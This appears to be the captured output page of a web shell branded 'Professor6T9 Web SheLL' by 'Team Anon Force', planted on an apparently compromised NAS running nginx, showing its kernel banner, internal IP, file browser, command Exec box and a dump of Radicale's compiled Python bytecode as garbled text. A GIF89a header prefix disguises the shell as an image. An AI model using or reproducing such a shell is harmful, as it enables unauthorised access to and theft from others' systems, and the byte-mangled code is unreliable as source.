GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
radicale
/
__pycache__
[ HOME ]
Exec
Submit
__init__.cpython-38.pyc
U �}�h� � @ s. d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl Z ddl Z ddlZddlZddl Z ddlZddlZddlZddlZddlZddlZddlmZ ddlmZmZ ddlmZ ddlZddlmZm Z m!Z!m"Z"m#Z#m$Z$m%Z% e�&d�j'Z(ej)dd fZ*ej)dd fZ)ej+ddfZ+ej,ddfZ,ej-dd fZ-ej-ddfZ.ej/ddfZ/ej0ddfZ0ej1ddfZ1ej2ddfZ2ej3ddfZ4ej)ddfZ5ej6ddfZ6dZ7G dd� dej8j9�Z:G dd� de:�Z;G dd� de j<e:�Z=G dd� de j<e;�Z>G dd � d ej8j?�Z@G d!d"� d"�ZAdaBdaCe�D� ZEd#d$� ZFd%d&� ZGdS )'z� Radicale Server module. This module offers a WSGI application class. To use this module, you should take a look at the file ``radicale.py`` that should have been included in this package. � N)�client)�unquote�urlparse)�ElementTree)�auth�config�log�rights�storage�web�xmlutils�radicale))�Content-Type� text/plainz+Access to the requested resource forbidden.z)Action on the requested resource refused.zBad Requestz*The requested resource could not be found.zConflict in the request.zWebDAV precondition failed.z4The method is not allowed on the requested resource.zPrecondition failed.zConnection timed out.zRequest body too large.z!Remote destination not supported.z%Directory listings are not supported.z;A server error occurred. Please contact the administrator.z51, 2, 3, calendar-access, addressbook, extended-mkcolc sB e Zd ZdZdZdZdZd � fdd� Z� fdd�Zdd � Z � Z S )� HTTPServerzHTTP server.NTc s� d|d k}|rt j| _t� �||d� |r@| j �t jt jd� | jrVt � | j�| _n t� � | _|r�z| �� | �� W n tk r� | �� � Y nX | jr�tjdk r�| j�d� dS )zCreate server.�:r F� )� � � zNUsing server.timeout with Python < 3.5.2 can cause network connection failuresN)�socket�AF_INET6�address_family�super�__init__� setsockopt�IPPROTO_IPV6�IPV6_V6ONLY�max_connections� threading�BoundedSemaphore�connections_guard� contextlib� ExitStack�server_bind�server_activate� BaseException�server_close�client_timeout�sys�version_info�logger�warning)�self�address�handler�bind_and_activateZipv6�� __class__� �8/tmp/pip-target-hu2ovxdm/lib/python/radicale/__init__.pyr m s( � zHTTPServer.__init__c s( t � �� \}}| jr |�| j� ||fS �N)r �get_requestr( � settimeout)r- �_socketr. r1 r3 r4 r6 � s zHTTPServer.get_requestc C sD t t�� d tj�r&| jjddd� n| jjdt�� d dd� d S )Nr �client timed outT��exc_infoz(An exception occurred during request: %sr )� issubclassr) r; r �timeoutr+ �info�error�r- �request�client_addressr3 r3 r4 �handle_error� s �zHTTPServer.handle_error)T)�__name__� __module__�__qualname__�__doc__r( r r+ r r6 rC � __classcell__r3 r3 r1 r4 r e s !r c s4 e Zd ZdZdZdZdZdZdZ� fdd�Z � Z S )�HTTPSServerz HTTPS server.Nc sb t � j||dd� tj| j| j| jd| jr0tjntj | jp<d| j | jdd� | _| �� | � � dS )z7Create server by wrapping HTTP socket in an SSL socket.F)r0 TN)�server_side� cert_reqs�ca_certs�ssl_version�ciphers�do_handshake_on_connect)r r �ssl�wrap_socketr �key�certificate�certificate_authority� CERT_REQUIRED� CERT_NONE�protocolrN r$ r% )r- r. r/ r1 r3 r4 r � s �zHTTPSServer.__init__)rD rE rF rG rS rR rW rN rT r rH r3 r3 r1 r4 rI � s rI c s e Zd Z� fdd�Z� ZS )�ThreadedHTTPServerc s, | j � t� �||�W 5 Q R � S Q R X d S r5 )r! r �process_request_threadr@ r1 r3 r4 rY � s z)ThreadedHTTPServer.process_request_thread�rD rE rF rY rH r3 r3 r1 r4 rX � s rX c s e Zd Z� fdd�Z� ZS )�ThreadedHTTPSServerc s� zXz|� � W nF tjk r& � Y n0 tk rT } ztd| �|�W 5 d }~X Y nX W n4 tk r� z| �||� W 5 | �|� X Y d S X | j� t� � ||�W 5 Q R � S Q R X d S )NzSSL handshake failed: %s) �do_handshaker r= � Exception�RuntimeError�shutdown_requestrC r! r rY )r- rA rB �er1 r3 r4 rY � s $z*ThreadedHTTPSServer.process_request_threadrZ r3 r3 r1 r4 r[ � s r[ c sL e Zd ZdZdZ� fdd�Zdd� Zdd� Z� fd d �Z� fdd�Z � Z S ) �RequestHandlerzHTTP requests handler.Nc s t �� | _t� j||� d S r5 )�io�StringIO�error_streamr r �r- �args�kwargsr1 r3 r4 r � s zRequestHandler.__init__c C s | j S r5 )rd )r- r3 r3 r4 � get_stderr� s zRequestHandler.get_stderrc O s dS )z!Disable inner logging management.Nr3 re r3 r3 r4 �log_message� s zRequestHandler.log_messagec sB t � �� }t| jd�r$| j�� |d<